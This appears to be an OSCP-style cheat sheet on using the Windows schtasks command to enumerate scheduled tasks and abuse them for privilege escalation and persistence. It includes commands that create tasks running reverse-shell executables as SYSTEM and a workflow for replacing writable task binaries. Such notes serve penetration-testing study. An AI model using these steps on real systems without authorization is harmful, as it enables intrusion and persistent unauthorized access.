schtasks — Scheduled Tasks (CMD)
schtasks manages Windows Task Scheduler from CMD. Used for enum during privesc and for persistence — if a task runs as SYSTEM/admin and you can write the binary or script it executes, that’s a privesc path.
OSCP use:
schtasks /query /fo LIST /v→ find Task To Run → check permissions with icacls. See Windows PrivEsc > 3) Scheduled Tasks.
PowerShell equivalent: Get-ScheduledTask — PowerShell Cmdlets
Syntax
schtasks /query [options]
schtasks /create [options]
schtasks /run /tn "TaskName"
schtasks /delete /tn "TaskName" /f
schtasks /change [options]📌 1) Query / enumerate
REM All tasks — verbose list (best for privesc)
schtasks /query /fo LIST /v
REM Table view
schtasks /query /fo TABLE
REM CSV export
schtasks /query /fo CSV /v > C:\Temp\tasks.csv
REM Tasks on remote machine
schtasks /query /s TARGET /u DOMAIN\user /p password /fo LIST /v
REM Find executable paths tasks run
schtasks /query /fo LIST /v | findstr /i "Task To Run"
schtasks /query /fo LIST /v | findstr /i "Run As User"
schtasks /query /fo LIST /v | findstr /i "Schedule Type"
schtasks /query /fo LIST /v | findstr /i "Start In"What to look for
| Field | Privesc hint |
|---|---|
| Task To Run | Binary/script path — is it writable? |
| Run As User | SYSTEM, LOCAL SERVICE, or domain admin? |
| Start In | Working directory — writable? |
| Schedule Type | When it fires — wait or force with /run |
REM After finding path — check ACLs
icacls "C:\Path\to\task.exe"
icacls "C:\Path\to\script.bat"→ icacls
📌 2) Run a task manually
schtasks /run /tn "\Microsoft\Windows\SomeTask"
schtasks /run /s TARGET /u user /p pass /tn "TaskName"If you replaced a writable binary, trigger the task and catch your shell.
📌 3) Create a task (persistence / privesc)
REM Run cmd daily at 09:00 as current user
schtasks /create /tn "MyTask" /tr "C:\Temp\shell.exe" /sc daily /st 09:00
REM Run as SYSTEM (needs admin to create)
schtasks /create /tn "Updater" /tr "C:\Temp\rev.exe" /sc onlogon /ru SYSTEM
REM One-shot at specific time
schtasks /create /tn "Once" /tr "powershell -ep bypass -f C:\Temp\run.ps1" /sc once /st 14:30
REM On user logon
schtasks /create /tn "LogonTask" /tr "C:\Temp\payload.exe" /sc onlogon| Flag | Meaning |
|---|---|
/tn | Task name |
/tr | Program/command to run |
/sc | Schedule — daily, weekly, onlogon, onstart, once, minute |
/st | Start time (HH:MM) |
/ru | Run as user (SYSTEM, DOMAIN\user) |
/rp | Password for /ru |
/f | Force (overwrite if exists) |
📌 4) Change / delete
schtasks /change /tn "MyTask" /tr "C:\Temp\new.exe"
schtasks /delete /tn "MyTask" /f📌 5) Privesc workflow
schtasks /query /fo LIST /v
↓
findstr "Task To Run" → path to exe/bat/ps1
↓
icacls on path → writable?
↓
Replace binary OR drop malicious script
↓
schtasks /run /tn "VulnTask" OR wait for schedule
↓
Shell as task owner (often SYSTEM)Also check Windows PrivEsc — unquoted paths, service abuse, Potato Attacks.
📌 Quick cheat sheet
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "Task To Run"
schtasks /query /fo LIST /v | findstr "Run As User"
icacls "C:\Path\to\task.exe"
schtasks /run /tn "TaskName"
schtasks /create /tn "X" /tr "C:\Temp\shell.exe" /sc daily /st 09:00 /f
schtasks /delete /tn "X" /f